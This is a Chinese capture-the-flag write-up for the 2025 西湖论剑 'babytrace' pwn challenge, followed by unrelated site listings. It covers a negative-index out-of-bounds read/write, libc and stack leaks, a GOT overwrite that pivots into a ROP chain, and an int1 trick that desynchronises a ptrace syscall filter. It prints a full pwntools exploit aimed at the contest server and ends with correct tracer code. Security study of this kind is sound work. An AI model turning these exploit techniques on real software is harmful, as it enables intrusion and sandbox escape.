2025西湖论剑-babytrace

前言

就做了下题目,pwn1/3 都是签到,pwn2 后面绕 ptrace 有点意思,简单记录一下

漏洞分析

子进程中的读/写功能没有检查负数的情况,存在越界读写:

void __fastcall get_value(__int64 *int64_arr)
{
  __int64 ll; // [rsp+18h] [rbp-8h]

  if ( dword_202018 > 1 )
  {
    puts("permission denied!");
  }
  else
  {
    puts("which one?");
    ll = get_ll();
    if ( ll > 2 )                               // 负数没检查
      exit(1);
    printf("num[%lld] = %lld\n", ll, int64_arr[ll]);
    ++dword_202018;
  }
}

void __fastcall set_value(__int64 *int64_arr)
{
  __int64 ll; // [rsp+10h] [rbp-220h]
  char buf[520]; // [rsp+20h] [rbp-210h] BYREF
  unsigned __int64 v3; // [rsp+228h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( dword_202010 == 1 )
  {
    puts("recv:");
    read(0, buf, 0x200uLL);
    puts("which one?");
    ll = get_ll();
    if ( ll > 2 )                               // 负数没检查
      exit(1);
    puts("set value?");
    int64_arr[ll] = get_ll();
    puts("Set up for success!");
    dword_202010 = 0;
  }
  else
  {
    puts("permission denied!");
  }
}

所以这里存在两次越界读和一次越界写,这里的写只能写一次,因为 dword_202010 是在被写之后赋值为 0 的,所以无法通过修改 dword_202008 去实现无限次越界读,但是两次也足够了。

利用越界读泄漏 libcstack

劫持程序执行流执行rop

泄漏了 libcstack 后,接下来就是思考如何通过一次越界写实现执行流的劫持,可以看到越界写函数 set_value 中会先读 512 字节到栈上:

void __fastcall set_value(__int64 *int64_arr)
{
  __int64 ll; // [rsp+10h] [rbp-220h]
  char buf[520]; // [rsp+20h] [rbp-210h] BYREF
  unsigned __int64 v3; // [rsp+228h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( dword_202010 == 1 )
  {
    puts("recv:");
    read(0, buf, 0x200uLL);                     // 读取 512 字节
    puts("which one?");
    ll = get_ll();
    if ( ll > 2 )                               // 负数没检查
      exit(1);
    puts("set value?");
    int64_arr[ll] = get_ll();
    puts("Set up for success!");
    dword_202010 = 0;
  }
  else
  {
    puts("permission denied!");
  }
}

所以很明显这里可以把 rop 链放在 buf 上,然后想办法把栈迁移过去。这里的 buf 的地址为低地址,并且只有 8 字节写的机会,所以很难直接把栈抬上去,我没有找到合适的 sub rsp, xxx; ret,栈迁移也不好做,所以这里我歇菜了

这里我们需要把栈抬上去,其他佬找到了方法,直接说结果吧,修改 libc.got,因为后面会调用 puts 函数,其会调用到 libc 中的 __strlen_evex.got,而在执行 puts 时,栈就被抬上去了,所以我们修改 __strlen_evex.got 为一个 add rsp xxx; ret 就有机会执行 rop 了,而 add rsp, xxx; ret 还是比 sub rsp, xxx; ret 好找的

绕过 ptrace 对系统调用的过滤

可以执行 rop 后,接下来就是考虑如何绕过父进程中的 ptracesyscall 系统调用号的检查:

 ptrace(PTRACE_SETOPTIONS, pid, 0LL, 1LL);
  do
  {
    ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 进入系统调用时,检查系统调用号
    if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的
      error("waitpid error2");
    if ( (status & 0x7F) == 0 || status == 127 && (status & 0xFF00) >> 8 == 11 )
      break;
    if ( ptrace(PTRACE_GETREGS, pid, 0LL, &regs) < 0 )
      error("GETREGS error");
    if ( regs.orig_rax != 1 && regs.orig_rax != 231 && regs.orig_rax != 5 && regs.orig_rax != 60 )
    {
      if ( regs.orig_rax )
      {
        printf("bad syscall: %llu\n", regs.orig_rax);
        regs.orig_rax = -1LL;
        if ( ptrace(PTRACE_SETREGS, pid, 0LL, &regs) < 0 )
          error("SETREGS error");
      }
    }
    ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 捕获退出系统调用
    if ( waitpid(pid, &status, 0x40000000) < 0 )
      error("waitpid error3");
  }
  while ( (status & 0x7F) != 0 && (status != 127 || (status & 0xFF00) >> 8 != 11) );

这里的实现存在漏洞,我代码也注释了,这段代码主要就是两个 PTRACE_SYSCALL+waitpid,其本意为:

# 子进程进入系统调用前触发某个信号,此时 waitpid 捕获,然后检查系统调用号
    ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 进入系统调用时,检查系统调用号
    if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的
    	error("waitpid error2");
    
	check
	
# 子进程退出系统调用时触发某个信号,此时 waitpid 捕获
    ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 捕获退出系统调用
    if ( waitpid(pid, &status, 0x40000000) < 0 )
		error("waitpid error3");

但是这里 waitpid 捕获信号后,没有区分是否是由于系统调用触发的,所以在 rop 中我们可以先通过某些 gadget 发出一个信号,此时被第一个 waitpid 捕获,后面在执行系统调用时,检查的逻辑就成了:

# 子进程进入系统调用时触发某个信号,此时 waitpid 捕获
    ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 捕获退出系统调用
    if ( waitpid(pid, &status, 0x40000000) < 0 )
		error("waitpid error3");

# 子进程退出系统调用前触发某个信号,此时 waitpid 捕获,然后检查系统调用号
    ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);      // 进入系统调用时,检查系统调用号
    if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的
	    error("waitpid error2");
    
	check

所以这里就成功绕过了检查,最后的 exp 如下:

直接执行 system 可能会出现问题,因为 system 中可能会发出某些信号,导致上述检查逻辑顺序再次被转换回来

from pwn import *
from ctypes import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = remote("119.45.238.17", 9999)
#io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
    gdb.attach(io)
    pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
"""
gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data)
$3 = (struct _IO_wide_data **) 0xa0

gef> p &(((struct _IO_FILE_plus*)0)->vtable)
$4 = (const struct _IO_jump_t **) 0xd8

"""
dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x39)
dll.rand()

menu   = b'choose one >'

def set_val(data, idx, val):
    sla(menu, b'1')
    sla(b'recv:\n', data)
    sla(b"which one?\n", byte(idx))
    sla(b"set value?\n", byte(val))

def get_val(idx):
    sla(menu, b'2')
    sla(b"which one?\n", byte(idx))

#gdb.attach(io, 'set follow-fork-mode child; b *$rebase(0xd6d)')
#gdb.attach(io, 'set follow-fork-mode child; b *$rebase(0xd6d)')
get_val(-2) # <_IO_2_1_stderr_>
rut(b'] = ')
libc_base = int(rut(b'\n'), 10) - libc.sym._IO_2_1_stderr_
info("libc_base", libc_base)

#pause()
libc.address = libc_base
pop_rax = libc_base + 0x0000000000045eb0 # pop rax ; ret
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x00000000000796a2 # pop rdx ; ret
retf    = libc_base + 0x0000000000029551 # retf
syscall = libc.sym.syscall + 27
int_0x80 = libc_base + 0x00000000000f2ec2 # int 0x80
pop_rbx = libc_base + 0x0000000000035dd1 # pop rbx ; re
pop_rcx = libc_base + 0x000000000003d1ee # pop rcx ; ret
ret = libc_base + 0x0000000000029139 # ret
int1_ret = libc_base + 0x000000000009cd15 # int1 ; xor eax, eax ; ret

"""
get_val(-3) # elf_base+0xe48
rut(b'] = ')
elf_base = int(rut(b'\n'), 10) - 0xe48
info("elf_base", elf_base)
"""
get_val(-4)
rut(b'] = ')
stack = int(rut(b'\n'), 10) - 0x20
info("stack", stack)

rop  = p64(int1_ret)
rop += p64(pop_rdi)+p64(stack+208-0x230)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
rop += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack+0x400)+p64(pop_rdx)+p64(0x40)+p64(pop_rax)+p64(0)+p64(syscall)
rop += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stack+0x400)+p64(pop_rdx)+p64(0x40)+p64(pop_rax)+p64(1)+p64(syscall)
rop += b'flag\x00\x00'
print(len(rop))
#gdb.attach(io, 'b *'+str(libc_base+0x0000000000114b5c))
set_val(rop, (libc_base+0x219098-stack)//8, libc_base+0x0000000000114b5c)


"""
- nc 119.45.238.17 9999
- nc 119.45.238.17 19999
- nc 119.45.238.17 29999
- nc 119.45.238.17 39999
- nc 119.45.238.17 49999
"""
#pause()
sh()

远程效果如下:
在这里插入图片描述

后记

gpt 写一个正确使用 PTRACE_SYSCALL 的代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/reg.h>   // 定义寄存器偏移量
#include <sys/user.h>  // 定义 user_regs_struct

int main(int argc, char *argv[]) {
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <program>\n", argv[0]);
        exit(1);
    }

    pid_t child = fork();
    if (child == 0) {
        // 子进程:执行目标程序
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        execl(argv[1], argv[1], NULL);
    } else {
        // 父进程:跟踪目标进程
        int status;
        struct user_regs_struct regs;

        waitpid(child, &status, 0);  // 等待子进程停止
        ptrace(PTRACE_SETOPTIONS, child, 0, PTRACE_O_TRACESYSGOOD);

        while (1) {
            // 继续执行,直到下一个系统调用事件
            ptrace(PTRACE_SYSCALL, child, 0, 0);
            waitpid(child, &status, 0);

            if (WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80)) {
                // 进入系统调用
                ptrace(PTRACE_GETREGS, child, 0, &regs);
                printf("Entered syscall: %lld\n", regs.orig_rax);

                // 继续执行,直到系统调用退出
                ptrace(PTRACE_SYSCALL, child, 0, 0);
                waitpid(child, &status, 0);

                if (WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80)) {
                    // 退出系统调用
                    ptrace(PTRACE_GETREGS, child, 0, &regs);
                    printf("Exited syscall: %lld, return value: %lld\n", regs.orig_rax, regs.rax);
                }
            }

            if (WIFEXITED(status)) {
                // 目标进程退出
                printf("Child process exited\n");
                break;
            }
        }
    }
    return 0;
}

可以看到这里使用 WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80) 去过滤由系统调用产生的 SIGTRAP 信号,注意这里要配合 PTRACE_O_TRACESYSGOOD,其会将系统调用产生的 SIGTRAP 信号与上 0x80,就是用来区分其他事件产生的 SIGTRAP 信号

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/955878.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【统计的思想】假设检验(一)

假设检验是统计学里的重要方法&#xff0c;同时也是一种“在理想与现实之间观察求索”的测试活动。假设检验从概率的角度去考察理想与现实之间的关系&#xff0c;籍此来缓解测试可信性问题。 我们先来看一个例子。民航旅客服务系统&#xff0c;简称PSS系统&#xff0c;有一种业…

GPT-5 传言:一场正在幕后发生的 AI 变革

新的一年&#xff0c;让我们从一个引人入胜的话题开始&#xff1a;如果我告诉你&#xff0c;GPT-5 并非虚构&#xff0c;而是真实存在呢&#xff1f;它不仅真实存在&#xff0c;而且正在你看不见的地方悄然塑造着世界。我的基本假设是&#xff1a;OpenAI 已经秘密开发出 GPT-5&…

【20】Word:小许-质量管理-论文❗

目录 题目​ NO1.2.3.4.5 NO6.7 NO8 NO9 NO10.11 题目 NO1.2.3.4.5 另存为“Word.docx”文件在考生文件夹下&#xff0c;F12Fn是另存为的作用布局→页面设置对话框→纸张&#xff1a;大小A4→页边距&#xff1a;上下左右不连续ctrl选择除表格外的所有内容→开始→字体对…

Leetcode - 周赛432

目录 一、3417. 跳过交替单元格的之字形遍历二、3418. 机器人可以获得的最大金币数三、3419. 图的最大边权的最小值四、3420. 统计 K 次操作以内得到非递减子数组的数目 一、3417. 跳过交替单元格的之字形遍历 题目链接 本题是一道模拟题&#xff0c;第一行走0&#xff0c;2&…

ASP.NET Core - 配置系统之配置提供程序

ASP.NET Core - 配置系统之配置提供程序 3. 配置提供程序3.1 文件配置提供程序3.1.1 JSON配置提供程序3.1.2 XML配置提供程序3.1.3 INI配置提供程序 3.2 环境变量配置提供程序3.3 命令行配置提供程序3.4 内存配置提供程序3.5 配置加载顺序 3.6 默认配置来源 3. 配置提供程序 前…

探索与创作:2024年CSDN平台上的成长与突破

文章目录 我与CSDN的初次邂逅初学阶段的阅读CSDN&#xff1a;编程新手的避风港初学者的福音&#xff1a;细致入微的知识讲解考试复习神器&#xff1a;技术总结的“救命指南”曾经的自己&#xff1a;为何迟迟不迈出写博客的第一步兴趣萌芽&#xff1a;从“读”到“想写”的初体验…

CSS中样式继承+优先级

继承属性和非继承属性 一、定义及分类 1、继承属性是指在父元素上设置了这些属性后&#xff0c;子元素会自动继承这些属性的值&#xff0c;除非子元素显式地设置了不同的值。 常见的继承属性: 字体 font 系列文本text-align text-ident line-height letter-spacing颜色 col…

macOS 安装JDK17

文章目录 前言介绍新特性下载安装1.下载完成后打开downloads 双击进行安装2.配置环境变量3.测试快速切换JDK 小结 前言 近期找开源软件&#xff0c;发现很多都已经使用JDK17springboot3 了&#xff0c;之前的JDK8已经被替换下场&#xff0c;所以今天就在本机安装了JDK17&#…

ChatGPT大模型极简应用开发-CH1-初识 GPT-4 和 ChatGPT

文章目录 1.1 LLM 概述1.1.1 语言模型和NLP基础1.1.2 Transformer及在LLM中的作用1.1.3 解密 GPT 模型的标记化和预测步骤 1.2 GPT 模型简史&#xff1a;从 GPT-1 到 GPT-41.2.1 GPT11.2.2 GPT21.2.3 GPT-31.2.4 从 GPT-3 到 InstructGPT1.2.5 GPT-3.5、Codex 和 ChatGPT1.2.6 …

vector迭代器的使用以及迭代器失效

一、iterator的使用注意 begin与end 遵循左闭右开的原则&#xff0c;begin 指向vector的第一个元素&#xff0c;end 指向vector的最后一个元素的往下一个位置。 rbegin 与 rend rbegin指向最后一个元素的位置&#xff0c;rend指向第一个元素的往前一个位置。 二、vector的常…

【Linux】15.Linux进程概念(4)

文章目录 程序地址空间前景回顾C语言空间布局图&#xff1a;代码1代码2代码3代码4代码5代码6代码7 程序地址空间前景回顾 历史核心问题&#xff1a; pid_t id fork(); if(id 0) else if(id>0) 为什么一个id可以放两个值呢&#xff1f;之前没有仔细讲。 C语言空间布局图&am…

【无法下载github文件】虚拟机下ubuntu无法拉取github文件

修改hosts来进行解决。 步骤一&#xff1a;打开hosts文件 sudo vim /etc/hosts步骤二&#xff1a;查询 github.com的ip地址 https://sites.ipaddress.com/github.com/#ipinfo将github.com的ip地址添加到hosts文件末尾&#xff0c;如下所示。 140.82.114.3 github.com步骤三…

Android BitmapShader实现狙击瞄具十字交叉线准星,Kotlin

Android BitmapShader实现狙击瞄具十字交叉线准星&#xff0c;Kotlin <?xml version"1.0" encoding"utf-8"?> <RelativeLayout xmlns:android"http://schemas.android.com/apk/res/android"xmlns:tools"http://schemas.android.…

Android系统开发(十):标准协议和通讯的桥梁:探索蓝牙、NFC、WLAN 的工作原理

引言&#xff1a; 现代社会已经是信息互联的世界&#xff0c;各种设备之间的互联互通已经成为了生活的一部分。而在这个过程中&#xff0c;Android 设备与其他硬件之间的通信扮演着至关重要的角色。从蓝牙耳机到 WiFi 路由器&#xff0c;甚至与电话功能的互动&#xff0c;所有…

node中文名的js文件有问题

新版Node无法运行含有中文名的JS文件&#xff0c;具体表现在无报错无反应。如下图&#xff1a; 源码如下&#xff1a; 改成英文的JS文件&#xff0c;则正常&#xff0c;如下图&#xff1a;

BERT与CNN结合实现糖尿病相关医学问题多分类模型

完整源码项目包获取→点击文章末尾名片&#xff01; 使用HuggingFace开发的Transformers库&#xff0c;使用BERT模型实现中文文本分类&#xff08;二分类或多分类&#xff09; 首先直接利用transformer.models.bert.BertForSequenceClassification()实现文本分类 然后手动实现B…

openharmony应用开发快速入门

开发准备 本文档适用于OpenHarmony应用开发的初学者。通过构建一个简单的具有页面跳转/返回功能的应用&#xff08;如下图所示&#xff09;&#xff0c;快速了解工程目录的主要文件&#xff0c;熟悉OpenHarmony应用开发流程。 在开始之前&#xff0c;您需要了解有关OpenHarmon…

RabbitMQ---TTL与死信

&#xff08;一&#xff09;TTL 1.TTL概念 TTL又叫过期时间 RabbitMQ可以对队列和消息设置TTL&#xff0c;当消息到达过期时间还没有被消费时就会自动删除 注&#xff1a;这里我们说的对队列设置TTL,是对队列上的消息设置TTL并不是对队列本身&#xff0c;不是说队列过期时间…

51.WPF应用加图标指南 C#例子 WPF例子

完整步骤&#xff1a; 先使用文心一言生成一个图标如左边使用Windows图片编辑器编辑&#xff0c;去除背景使用正方形&#xff0c;放大图片使图标铺满图片使用格式工程转换为ico格式&#xff0c;分辨率为最大 在资源管理器中右键项目添加ico类型图片到项目里图片属性设置为始终…

多语言插件i18n Ally的使用

先展示一下效果 1.第一步首先在vscode下载插件 2.第二步在 setting.json 里面配置 要区分文件是js&#xff0c;ts或json结尾 以zh.ts和en.ts结尾的用这个 { "i18n-ally.localesPaths": ["src/locales"],"i18n-ally.keystyle": "nested"…